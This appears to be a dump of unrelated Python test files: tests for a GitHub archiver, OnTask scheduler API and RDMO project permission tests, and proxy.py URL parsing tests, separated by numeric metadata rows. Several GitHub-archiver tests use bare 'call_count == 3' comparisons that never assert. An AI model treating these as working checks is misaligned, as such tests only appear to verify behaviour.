mock_iterate_gists.assert_not_called()
mock_logger.info.call_count == 3
@mock.patch('github_archive.archive.GITHUB_TOKEN', GITHUB_TOKEN)
@mock.patch('github_archive.archive.GithubArchive.get_gists')
@mock.patch('github_archive.archive.GithubArchive.iterate_gists')
@mock.patch('github_archive.archive.GithubArchive.iterate_repos')
@mock.patch('github_archive.archive.LOGGER')
def test_run_gists_clone_true(mock_logger, mock_iterate_repos, mock_iterate_gists, mock_get_gists):
GithubArchive.run(
user_clone=False,
user_pull=False,
orgs_clone=False,
orgs_pull=False,
gists_clone=True,
gists_pull=False,
)
mock_get_gists.assert_called_once()
mock_iterate_repos.assert_not_called()
mock_iterate_gists.assert_called_once()
mock_logger.info.call_count == 3
@mock.patch('github_archive.archive.GITHUB_TOKEN', GITHUB_TOKEN)
@mock.patch('github_archive.archive.GithubArchive.get_gists')
@mock.patch('github_archive.archive.GithubArchive.iterate_gists')
@mock.patch('github_archive.archive.GithubArchive.iterate_repos')
@mock.patch('github_archive.archive.LOGGER')
def test_run_gists_pull_true(mock_logger, mock_iterate_repos, mock_iterate_gists, mock_get_gists):
GithubArchive.run(
user_clone=False,
user_pull=False,
orgs_clone=False,
orgs_pull=False,
gists_clone=False,
gists_pull=True,
)
mock_get_gists.assert_called_once()
mock_iterate_repos.assert_not_called()
mock_iterate_gists.assert_called_once()
mock_logger.info.call_count == 3
@mock.patch('github_archive.archive.USER.get_repos')
def test_get_repos(mock_get_repos):
GithubArchive.get_repos()
mock_get_repos.assert_called_once()
@mock.patch('github_archive.archive.GITHUB_TOKEN', GITHUB_TOKEN)
@mock.patch('github_archive.archive.Github.get_organization')
def test_get_all_org_repos(mock_get_organization):
GithubArchive.get_all_org_repos()
mock_get_organization.assert_called_once()
@mock.patch('github_archive.archive.USER.get_gists')
def test_get_gists(mock_get_gists):
GithubArchive.get_gists()
mock_get_gists.assert_called_once()
@pytest.mark.parametrize('context', [('orgs'), ('user')])
@mock.patch('github_archive.archive.GithubArchive.iterate_repos')
def test_determine_repo_context_orgs(mock_iterate_repos, context, mock_object):
repos = [mock_object]
GithubArchive.determine_repo_context(repos, context, 'clone')
mock_iterate_repos.assert_called_once()
@mock.patch('github_archive.archive.GithubArchive.iterate_repos')
@mock.patch('github_archive.archive.LOGGER')
def test_determine_repo_context_bad_param(mock_logger, mock_determine_repo_context, mock_object):
repos = [mock_object]
context = 'bad-param'
message = f'Could not determine what action to take with {context}.'
with pytest.raises(ValueError):
GithubArchive.determine_repo_context(repos, context, 'clone')
mock_determine_repo_context.assert_not_called()
mock_logger.error.assert_called_once_with(message)
@mock.patch('github_archive.archive.GithubArchive.archive_repo')
@mock.patch('github_archive.archive.USER')
def test_iterate_repos_matching_owner_name(mock_user, mock_archive_repo, mock_object):
mock_user.name = 'Mock Name'
repos = [mock_object]
GithubArchive.iterate_repos(repos, 'user', 'clone')
mock_archive_repo.assert_called()
@mock.patch('github_archive.archive.GithubArchive.archive_repo')
@mock.patch('github_archive.archive.USER')
def test_iterate_repos_not_matching_owner_name(mock_user, mock_archive_repo, mock_object):
mock_user.name = 'Mock Name Does Not Match'
repos = [mock_object]
GithubArchive.iterate_repos(repos, 'user', 'clone')
mock_archive_repo.assert_not_called()
@mock.patch('github_archive.archive.GithubArchive.archive_repo')
@mock.patch('github_archive.archive.USER')
def test_iterate_org_repos_success(mock_user, mock_archive_repo, mock_object):
mock_user.name = 'Mock Name'
repos = [mock_object]
GithubArchive.iterate_repos(repos, 'orgs', 'clone')
mock_archive_repo.assert_called()
@mock.patch('github_archive.archive.GithubArchive.archive_gist')
@mock.patch('github_archive.archive.USER')
def test_iterate_gists_success(mock_user, mock_archive_gist, mock_object):
gists = [mock_object]
GithubArchive.iterate_gists(gists, 'clone')
mock_archive_gist.assert_called()
@mock.patch('subprocess.run')
@mock.patch('github_archive.archive.LOGGER')
def test_archive_repo_success(mock_logger, mock_subprocess, mock_object):
operation = 'clone'
message = f'Repo: {mock_object.name} {operation} success!'
GithubArchive.archive_repo(mock_object, 'mock/path', operation)
mock_logger.info.assert_called_once_with(message)
@mock.patch('os.path.exists', return_value=True)
@mock.patch('subprocess.run')
@mock.patch('github_archive.archive.LOGGER')
def test_archive_repo_clone_exists(mock_logger, mock_subprocess, mock_path_exists, mock_object):
operation = 'clone'
message = f'Repo: {mock_object.name} already cloned, skipping clone operation.'
GithubArchive.archive_repo(mock_object, 'mock/path', operation)
mock_logger.info.assert_called_once_with(message)
@mock.patch('subprocess.run', side_effect=subprocess.TimeoutExpired(cmd=subprocess.run, timeout=0.1))
@mock.patch('github_archive.archive.LOGGER')
def test_archive_repo_timeout_exception(mock_logger, mock_subprocess, mock_object):
operation = 'clone'
message = f'Git operation timed out archiving {mock_object.name}.'
GithubArchive.archive_repo(mock_object, 'mock/path', operation)
mock_logger.error.assert_called_with(message)
@mock.patch('subprocess.run', side_effect=subprocess.CalledProcessError(returncode=1, cmd=subprocess.run))
@mock.patch('github_archive.archive.LOGGER')
def test_archive_repo_called_process_error(mock_logger, mock_subprocess, mock_object):
operation = 'pull'
GithubArchive.archive_repo(mock_object, 'mock/path', operation)
mock_logger.error.assert_called()
@mock.patch('subprocess.run')
@mock.patch('github_archive.archive.LOGGER')
def test_archive_repo_bad_param(mock_logger, mock_subprocess, mock_object):
operation = 'bad-param'
message = f'Could not determine what action to take with {mock_object.name} based on {operation}.'
with pytest.raises(ValueError):
GithubArchive.archive_repo(mock_object, 'mock/path', operation)
mock_logger.error.assert_called_once_with(message)
@mock.patch('subprocess.run')
@mock.patch('github_archive.archive.LOGGER')
def test_archive_gist_success(mock_logger, mock_subprocess, mock_object):
operation = 'clone'
message = f'Gist: {mock_object.id} {operation} success!'
GithubArchive.archive_gist(mock_object, 'mock/path', operation)
mock_logger.info.assert_called_once_with(message)
@mock.patch('os.path.exists', return_value=True)
@mock.patch('subprocess.run')
@mock.patch('github_archive.archive.LOGGER')
def test_archive_gist_clone_exists(mock_logger, mock_subprocess, mock_path_exists, mock_object):
operation = 'clone'
message = f'Gist: {mock_object.id} already cloned, skipping clone operation.'
GithubArchive.archive_gist(mock_object, 'mock/path', operation)
mock_logger.info.assert_called_once_with(message)
@mock.patch('subprocess.run', side_effect=subprocess.TimeoutExpired(cmd=subprocess.run, timeout=0.1))
@mock.patch('github_archive.archive.LOGGER')
def test_archive_gist_timeout_exception(mock_logger, mock_subprocess, mock_object):
operation = 'clone'
message = f'Git operation timed out archiving {mock_object.id}.'
GithubArchive.archive_gist(mock_object, 'mock/path', operation)
mock_logger.error.assert_called_with(message)
@mock.patch('subprocess.run', side_effect=subprocess.CalledProcessError(returncode=1, cmd=subprocess.run))
@mock.patch('github_archive.archive.LOGGER')
def test_archive_gist_called_process_error(mock_logger, mock_subprocess, mock_object):
operation = 'pull'
GithubArchive.archive_gist(mock_object, 'mock/path', operation)
mock_logger.error.assert_called()
@mock.patch('subprocess.run')
@mock.patch('github_archive.archive.LOGGER')
def test_archive_gist_bad_param(mock_logger, mock_subprocess, mock_object):
operation = 'bad-param'
message = f'Could not determine what action to take with {mock_object.id} based on {operation}.'
with pytest.raises(ValueError):
GithubArchive.archive_gist(mock_object, 'mock/path', operation)
mock_logger.error.assert_called_once_with(message)
| 39.803571
| 115
| 0.78017
| 1,800
| 13,374
| 5.432778
| 0.060556
| 0.073627
| 0.101237
| 0.148481
| 0.928111
| 0.895286
| 0.884139
| 0.857041
| 0.830248
| 0.812558
| 0
| 0.001429
| 0.110289
| 13,374
| 335
| 116
| 39.922388
| 0.820405
| 0
| 0
| 0.703971
| 0
| 0
| 0.271721
| 0.193061
| 0
| 0
| 0
| 0
| 0.158845
| 1
| 0.101083
| false
| 0
| 0.01444
| 0
| 0.115523
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d20076bc3afe3591aa32a851b43a72a15288da7a
| 19,540
|
py
|
Python
|
ontask/scheduler/tests/test_api.py
|
pinheiroo27/ontask_b
|
23fee8caf4e1c5694a710a77f3004ca5d9effeac
|
[
"MIT"
] | 33
|
2017-12-02T04:09:24.000Z
|
2021-11-07T08:41:57.000Z
|
ontask/scheduler/tests/test_api.py
|
pinheiroo27/ontask_b
|
23fee8caf4e1c5694a710a77f3004ca5d9effeac
|
[
"MIT"
] | 189
|
2017-11-16T04:06:29.000Z
|
2022-03-11T23:35:59.000Z
|
ontask/scheduler/tests/test_api.py
|
pinheiroo27/ontask_b
|
23fee8caf4e1c5694a710a77f3004ca5d9effeac
|
[
"MIT"
] | 30
|
2017-11-30T03:35:44.000Z
|
2022-01-31T03:08:08.000Z
|
# -*- coding: utf-8 -*-
"""Test scheduler API."""
import os
from django.conf import settings
from django.shortcuts import reverse
from rest_framework import status
from rest_framework.authtoken.models import Token
from ontask import models, tests
class ScheduleApiCreate(tests.OnTaskApiTestCase):
"""Test schedule creation through API"""
fixtures = ['three_actions']
filename = os.path.join(settings.ONTASK_FIXTURE_DIR, 'three_actions.sql')
s_name = 'Scheduling first JSON'
s_desc = 'First JSON intervention'
s_execute = '2119-05-03 12:32:18+10:30'
def setUp(self):
super().setUp()
# Get the token for authentication and set credentials in client
token = Token.objects.get(user__email='instructor01@bogus.com')
self.client.credentials(HTTP_AUTHORIZATION='Token ' + token.key)
def test_action_from_other_user(self):
action_name = 'email action'
# Get list of workflows
response = self.client.get(reverse('scheduler:api_scheduled_email'))
self.assertEqual(response.data['count'], 0)
self.assertEqual(response.data['next'], None)
self.assertEqual(response.data['previous'], None)
# Get the action
action = models.Action.objects.get(
name=action_name,
workflow__name='user2 workflow')
# Schedule one of the actions
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': self.s_name,
'description_text': self.s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'subject': 'subject',
'cc_email': '',
'bcc_email': '',
'track_read': False,
'send_confirmation': False,
},
},
format='json')
# Element has been scheduled
self.assertEqual(response.status_code, 500)
self.assertTrue('Incorrect permission' in response.data['detail'])
def test_anomalies(self):
action_name = 'simple action'
s_name = 'Scheduling first email'
s_desc = 'First email intervention'
s_subject = 'subject'
# Get list of workflows
response = self.client.get(reverse('scheduler:api_scheduled_email'))
self.assertEqual(response.data['count'], 0)
self.assertEqual(response.data['next'], None)
self.assertEqual(response.data['previous'], None)
# Get the action
action = models.Action.objects.get(name=action_name)
# Schedule the action with the wrong function
response = self.client.post(
reverse('scheduler:api_scheduled_json'),
{
'name': self.s_name,
'description_text': self.s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'field1': 'value1',
'field2': 'value2',
},
},
format='json')
# Error detected
self.assertEqual(response.status_code, 500)
# Schedule the action in the past
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': s_name,
'description_text': s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': '2000-11-12 12:05:07+10:30',
'payload': {
'item_column': 'email',
'subject': s_subject,
'cc_email': '',
'bcc_email': '',
'track_read': False,
'send_confirmation': False,
},
},
format='json')
self.assertEqual(response.status_code, 500)
self.assertTrue(
'Execution time is in the past' in response.data['detail'])
# Schedule with the wrong item column
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': s_name,
'description_text': s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email2',
'subject': s_subject,
'cc_email': '',
'bcc_email': '',
'track_read': False,
'send_confirmation': False,
},
},
format='json')
self.assertEqual(response.status_code, 500)
self.assertTrue('Invalid column' in response.data['detail'])
# Schedule with the wrong exclude value type
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': s_name,
'description_text': s_desc,
'action': action.id,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'exclude_values': {},
'subject': s_subject,
'cc_email': '',
'bcc_email': '',
'track_read': False,
'send_confirmation': False,
},
},
format='json')
self.assertEqual(response.status_code, 500)
self.assertTrue('must be a list' in response.data['detail'])
# Schedule without payload
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': s_name,
'description_text': s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
},
format='json')
self.assertEqual(response.status_code, 500)
self.assertTrue('need a payload' in response.data['detail'])
# Schedule without subject
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': s_name,
'description_text': s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'cc_email': '',
'bcc_email': '',
'track_read': False,
'send_confirmation': False,
},
},
format='json')
self.assertEqual(response.status_code, 500)
self.assertTrue('needs a subject' in response.data['detail'])
# Schedule without item_column
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': s_name,
'description_text': s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'subject': s_subject,
'cc_email': '',
'bcc_email': '',
'track_read': False,
'send_confirmation': False,
},
},
format='json')
self.assertEqual(response.status_code, 500)
self.assertTrue(
'need a column name in payload' in response.data['detail'])
# Schedule with item column with incorrect emails
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': s_name,
'description_text': s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'sid',
'subject': s_subject,
'cc_email': '',
'bcc_email': '',
'track_read': False,
'send_confirmation': False,
},
},
format='json')
self.assertEqual(response.status_code, 500)
self.assertTrue(
'Incorrect email value "1"' in response.data['detail'])
# Schedule with incorrect values in cc_email
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': s_name,
'description_text': s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'subject': s_subject,
'cc_email': 1,
'bcc_email': '',
'track_read': False,
'send_confirmation': False,
},
},
format='json')
self.assertEqual(response.status_code, 500)
self.assertTrue(
'must be a space-separated list of emails'
in response.data['detail'])
# Schedule with incorrect vlues in cc_email
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': s_name,
'description_text': s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'subject': s_subject,
'cc_email': 'xxx yyy',
'bcc_email': '',
'track_read': False,
'send_confirmation': False,
},
},
format='json')
self.assertEqual(response.status_code, 500)
self.assertTrue(
'must be a space-separated list of emails'
in response.data['detail'])
# Schedule with incorrect vlues in bcc_email
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': s_name,
'description_text': s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'subject': s_subject,
'cc_email': '',
'bcc_email': 1,
'track_read': False,
'send_confirmation': False,
},
},
format='json')
self.assertEqual(response.status_code, 500)
self.assertTrue(
'must be a space-separated list of emails'
in response.data['detail'])
# Schedule with incorrect vlues in bcc_email
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': s_name,
'description_text': s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'subject': s_subject,
'cc_email': '',
'bcc_email': 'xxx yyy',
'track_read': False,
'send_confirmation': False,
},
},
format='json')
self.assertEqual(response.status_code, 500)
self.assertTrue(
'must be a space-separated list of emails'
in response.data['detail'])
def test_schedule_email(self):
action_name = 'simple action'
s_subject = 'subject'
# Get list of workflows
response = self.client.get(reverse('scheduler:api_scheduled_email'))
self.assertEqual(response.data['count'], 0)
self.assertEqual(response.data['next'], None)
self.assertEqual(response.data['previous'], None)
# Get the action
action = models.Action.objects.get(
name=action_name,
workflow__name='wflow1')
# Schedule one of the actions
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': self.s_name,
'description_text': self.s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'subject': s_subject,
'cc_email': '',
'bcc_email': '',
'track_read': False,
'send_confirmation': False,
},
},
format='json')
# Element has been scheduled
self.assertEqual(response.status_code, 201)
sch_item = models.ScheduledOperation.objects.get(action=action)
self.assertEqual(sch_item.name, self.s_name)
self.assertEqual(sch_item.description_text, self.s_desc)
self.assertEqual(sch_item.action, action)
self.assertEqual(sch_item.payload['subject'], s_subject)
# Update the element
response = self.client.put(
reverse('scheduler:api_rud_email', kwargs={'pk': sch_item.id}),
{
'name': self.s_name + '2',
'description_text': self.s_desc,
'operation_type': 'action_run_personalized_email',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'subject': s_subject,
'cc_email': '',
'bcc_email': '',
'track_read': False,
'send_confirmation': False}},
format='json'
)
# Element has been scheduled
self.assertTrue(status.is_success(response.status_code))
sch_item = models.ScheduledOperation.objects.get(action=action)
self.assertEqual(sch_item.name, self.s_name + '2')
# Delete the element
response = self.client.delete(
reverse('scheduler:api_rud_email', kwargs={'pk': sch_item.id})
)
self.assertEqual(response.status_code, 204)
def test_schedule_json(self):
action_name = 'json action'
# Get list of workflows
response = self.client.get(reverse('scheduler:api_scheduled_json'))
self.assertEqual(response.data['count'], 0)
self.assertEqual(response.data['next'], None)
self.assertEqual(response.data['previous'], None)
# Get the action
action = models.Action.objects.get(
name=action_name,
workflow__name='wflow1')
# Schedule one of the actions
response = self.client.post(
reverse('scheduler:api_scheduled_json'),
{
'name': self.s_name,
'description_text': self.s_desc,
'operation_type': 'action_run_personalized_json',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'token': 'whatever',
'field1': 'value1',
'field2': 'value2',
},
},
format='json')
# Element has been created
self.assertEqual(response.status_code, 201)
sch_item = models.ScheduledOperation.objects.get(action=action)
self.assertEqual(sch_item.name, self.s_name)
self.assertEqual(sch_item.description_text, self.s_desc)
self.assertEqual(sch_item.action, action)
# Update the element
response = self.client.put(
reverse('scheduler:api_rud_json', kwargs={'pk': sch_item.id}),
{
'name': self.s_name + '2',
'description_text': self.s_desc,
'operation_type': 'action_run_personalized_json',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'token': 'whatever',
'field1': 'value1',
'field2': 'value2',
},
},
format='json'
)
# Element has been scheduled
self.assertTrue(status.is_success(response.status_code))
sch_item = models.ScheduledOperation.objects.get(action=action)
self.assertEqual(sch_item.name, self.s_name + '2')
# Delete the element
response = self.client.delete(
reverse('scheduler:api_rud_json', kwargs={'pk': sch_item.id})
)
self.assertEqual(response.status_code, 204)
# Schedule the action with the wrong function
response = self.client.post(
reverse('scheduler:api_scheduled_email'),
{
'name': self.s_name,
'description_text': self.s_desc,
'operation_type': 'action_run_personalized_json',
'workflow': action.workflow.id,
'action': action.id,
'execute': self.s_execute,
'payload': {
'item_column': 'email',
'token': 'whatever',
'field1': 'value1',
'field2': 'value2',
},
},
format='json')
# Element has NOT been created
self.assertEqual(response.status_code, 500)
| 35.919118
| 77
| 0.505322
| 1,784
| 19,540
| 5.331278
| 0.097534
| 0.061508
| 0.072548
| 0.058879
| 0.889917
| 0.889496
| 0.854484
| 0.844811
| 0.8364
| 0.828409
| 0
| 0.010299
| 0.383828
| 19,540
| 543
| 78
| 35.985267
| 0.779651
| 0.057421
| 0
| 0.761364
| 0
| 0
| 0.229383
| 0.065756
| 0
| 0
| 0
| 0
| 0.120455
| 1
| 0.011364
| false
| 0
| 0.013636
| 0
| 0.038636
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d2025871fa0395d6da85ed653ef5125eac2fc4d3
| 8,383
|
py
|
Python
|
rdmo/projects/tests/test_viewset_project.py
|
berkerY/rdmo
|
c0500f9b6caff9106a254a05e0d0e8018fc8db28
|
[
"Apache-2.0"
] | 1
|
2021-12-13T16:32:25.000Z
|
2021-12-13T16:32:25.000Z
|
rdmo/projects/tests/test_viewset_project.py
|
MSpenger/rdmo
|
c0500f9b6caff9106a254a05e0d0e8018fc8db28
|
[
"Apache-2.0"
] | null | null | null |
rdmo/projects/tests/test_viewset_project.py
|
MSpenger/rdmo
|
c0500f9b6caff9106a254a05e0d0e8018fc8db28
|
[
"Apache-2.0"
] | 1
|
2021-05-20T09:31:49.000Z
|
2021-05-20T09:31:49.000Z
|
import pytest
from django.urls import reverse
from ..models import Project
users = (
('owner', 'owner'),
('manager', 'manager'),
('author', 'author'),
('guest', 'guest'),
('api', 'api'),
('user', 'user'),
('site', 'site'),
('anonymous', None),
)
view_project_permission_map = {
'owner': [1, 2, 3, 4, 5],
'manager': [1, 3, 5],
'author': [1, 3, 5],
'guest': [1, 3, 5],
'api': [1, 2, 3, 4, 5],
'site': [1, 2, 3, 4, 5]
}
change_project_permission_map = {
'owner': [1, 2, 3, 4, 5],
'manager': [1, 3, 5],
'api': [1, 2, 3, 4, 5],
'site': [1, 2, 3, 4, 5]
}
delete_project_permission_map = {
'owner': [1, 2, 3, 4, 5],
'api': [1, 2, 3, 4, 5],
'site': [1, 2, 3, 4, 5]
}
urlnames = {
'list': 'v1-projects:project-list',
'detail': 'v1-projects:project-detail',
'overview': 'v1-projects:project-overview',
'resolve': 'v1-projects:project-resolve',
'progress': 'v1-projects:project-progress'
}
projects = [1, 2, 3, 4, 5]
conditions = [1]
project_values = 34
project_total = 41
catalog_id = 1
@pytest.mark.parametrize('username,password', users)
def test_list(db, client, username, password):
client.login(username=username, password=password)
url = reverse(urlnames['list'])
response = client.get(url)
if password:
assert response.status_code == 200
assert isinstance(response.json(), list)
if username == 'user':
assert sorted([item['id'] for item in response.json()]) == []
else:
values_list = Project.objects.filter(id__in=view_project_permission_map.get(username, [])) \
.order_by('id').values_list('id', flat=True)
assert sorted([item['id'] for item in response.json()]) == list(values_list)
else:
assert response.status_code == 401
@pytest.mark.parametrize('username,password', users)
@pytest.mark.parametrize('project_id', projects)
def test_detail(db, client, username, password, project_id):
client.login(username=username, password=password)
url = reverse(urlnames['detail'], args=[project_id])
response = client.get(url)
if project_id in view_project_permission_map.get(username, []):
assert response.status_code == 200
assert isinstance(response.json(), dict)
assert response.json().get('id') == project_id
else:
if password:
assert response.status_code == 404
else:
assert response.status_code == 401
@pytest.mark.parametrize('username,password', users)
def test_create(db, client, username, password):
client.login(username=username, password=password)
url = reverse(urlnames['list'])
data = {
'title': 'Lorem ipsum dolor sit amet',
'description': 'At vero eos et accusam et justo duo dolores et ea rebum.',
'catalog': catalog_id
}
response = client.post(url, data)
if password:
assert response.status_code == 201
assert isinstance(response.json(), dict)
assert Project.objects.get(id=response.json().get('id'))
else:
assert response.status_code == 401
@pytest.mark.parametrize('username,password', users)
@pytest.mark.parametrize('project_id', projects)
def test_create_parent(db, client, username, password, project_id):
client.login(username=username, password=password)
url = reverse(urlnames['list'])
data = {
'title': 'Lorem ipsum dolor sit amet',
'description': 'At vero eos et accusam et justo duo dolores et ea rebum.',
'catalog': catalog_id,
'parent': project_id
}
response = client.post(url, data)
if project_id in view_project_permission_map.get(username, []):
assert response.status_code == 201
assert isinstance(response.json(), dict)
assert Project.objects.get(id=response.json().get('id'))
else:
if password:
assert response.status_code == 400
else:
assert response.status_code == 401
@pytest.mark.parametrize('username,password', users)
@pytest.mark.parametrize('project_id', projects)
def test_update(db, client, username, password, project_id):
client.login(username=username, password=password)
project = Project.objects.get(pk=project_id)
url = reverse(urlnames['detail'], args=[project_id])
data = {
'title': 'New title',
'description': project.description,
'catalog': project.catalog.id
}
response = client.put(url, data, content_type='application/json')
if project_id in change_project_permission_map.get(username, []):
assert response.status_code == 200
assert Project.objects.get(id=project_id).title == 'New title'
assert Project.objects.get(id=project_id).description == project.description
else:
if project_id in view_project_permission_map.get(username, []):
assert response.status_code == 403
elif password:
assert response.status_code == 404
else:
assert response.status_code == 401
assert Project.objects.get(id=project_id).title == project.title
assert Project.objects.get(id=project_id).description == project.description
@pytest.mark.parametrize('username,password', users)
@pytest.mark.parametrize('project_id', projects)
def test_delete(db, client, username, password, project_id):
client.login(username=username, password=password)
url = reverse(urlnames['detail'], args=[project_id])
response = client.delete(url)
if project_id in delete_project_permission_map.get(username, []):
assert response.status_code == 204
assert Project.objects.filter(id=project_id).first() is None
else:
if project_id in view_project_permission_map.get(username, []):
assert response.status_code == 403
elif password:
assert response.status_code == 404
else:
assert response.status_code == 401
assert Project.objects.filter(id=project_id).first()
@pytest.mark.parametrize('username,password', users)
@pytest.mark.parametrize('project_id', projects)
@pytest.mark.parametrize('condition_id', conditions)
def test_overview(db, client, username, password, project_id, condition_id):
client.login(username=username, password=password)
url = reverse(urlnames['overview'], args=[project_id])
response = client.get(url)
if project_id in view_project_permission_map.get(username, []):
assert response.status_code == 200
assert isinstance(response.json(), dict)
assert response.json().get('id') == project_id
else:
if password:
assert response.status_code == 404
else:
assert response.status_code == 401
@pytest.mark.parametrize('username,password', users)
@pytest.mark.parametrize('project_id', projects)
@pytest.mark.parametrize('condition_id', conditions)
def test_resolve(db, client, username, password, project_id, condition_id):
client.login(username=username, password=password)
url = reverse(urlnames['resolve'], args=[project_id]) + '?condition={}'.format(condition_id)
response = client.get(url)
if project_id in view_project_permission_map.get(username, []):
assert response.status_code == 200
assert isinstance(response.json(), dict)
else:
if password:
assert response.status_code == 404
else:
assert response.status_code == 401
@pytest.mark.parametrize('username,password', users)
@pytest.mark.parametrize('project_id', projects)
def test_progress(db, client, username, password, project_id):
client.login(username=username, password=password)
url = reverse(urlnames['progress'], args=[project_id])
response = client.get(url)
if project_id in view_project_permission_map.get(username, []):
assert response.status_code == 200
assert isinstance(response.json(), dict)
if project_id == 1:
assert response.json().get('values') == project_values
else:
assert response.json().get('values') == 1
assert response.json().get('total') == project_total
else:
if password:
assert response.status_code == 404
else:
assert response.status_code == 401
| 33.003937
| 104
| 0.649529
| 1,020
| 8,383
| 5.205882
| 0.111765
| 0.067797
| 0.101695
| 0.122034
| 0.834652
| 0.812429
| 0.80904
| 0.791902
| 0.745763
| 0.704896
| 0
| 0.023694
| 0.214601
| 8,383
| 253
| 105
| 33.134387
| 0.782807
| 0
| 0
| 0.632353
| 0
| 0
| 0.110581
| 0.015865
| 0
| 0
| 0
| 0
| 0.240196
| 1
| 0.044118
| false
| 0.176471
| 0.014706
| 0
| 0.058824
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
d246ca77f808ea275b2c34ba70e1bf1e9ce5fdd2
| 6,743
|
py
|
Python
|
tests/http/test_url.py
|
fisabiliyusri/proxy
|
29934503251b704813ef3e7ed8c2a5ae69448c8a
|
[
"BSD-3-Clause"
] | null | null | null |
tests/http/test_url.py
|
fisabiliyusri/proxy
|
29934503251b704813ef3e7ed8c2a5ae69448c8a
|
[
"BSD-3-Clause"
] | 8
|
2022-01-23T10:51:59.000Z
|
2022-03-29T22:11:57.000Z
|
tests/http/test_url.py
|
fisabiliyusri/proxy
|
29934503251b704813ef3e7ed8c2a5ae69448c8a
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
proxy.py
~~~~~~~~
⚡⚡⚡ Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on
Network monitoring, controls & Application development, testing, debugging.
:copyright: (c) 2013-present by Abhinav Singh and contributors.
:license: BSD, see LICENSE for more details.
"""
import unittest
from proxy.http import Url
from proxy.http.exception import HttpProtocolException
class TestUrl(unittest.TestCase):
def test_url_str(self) -> None:
url = Url.from_bytes(b'localhost')
self.assertEqual(str(url), 'localhost')
url = Url.from_bytes(b'/')
self.assertEqual(str(url), '/')
url = Url.from_bytes(b'http://httpbin.org/get')
self.assertEqual(str(url), 'http://httpbin.org/get')
url = Url.from_bytes(b'httpbin.org:443')
self.assertEqual(str(url), 'httpbin.org:443')
url = Url.from_bytes('å∫ç.com'.encode('utf-8'))
self.assertEqual(str(url), 'å∫ç.com')
url = Url.from_bytes(b'https://example.com/path/dir/?a=b&c=d#p=q')
self.assertEqual(str(url), 'https://example.com/path/dir/?a=b&c=d#p=q')
url = Url.from_bytes(b'http://localhost:12345/v1/users/')
self.assertEqual(str(url), 'http://localhost:12345/v1/users/')
def test_just_domain_name_url(self) -> None:
url = Url.from_bytes(b'localhost')
self.assertEqual(url.scheme, None)
self.assertEqual(url.hostname, b'localhost')
self.assertEqual(url.port, None)
self.assertEqual(url.remainder, None)
def test_web_server_url(self) -> None:
url = Url.from_bytes(b'/')
self.assertEqual(url.scheme, None)
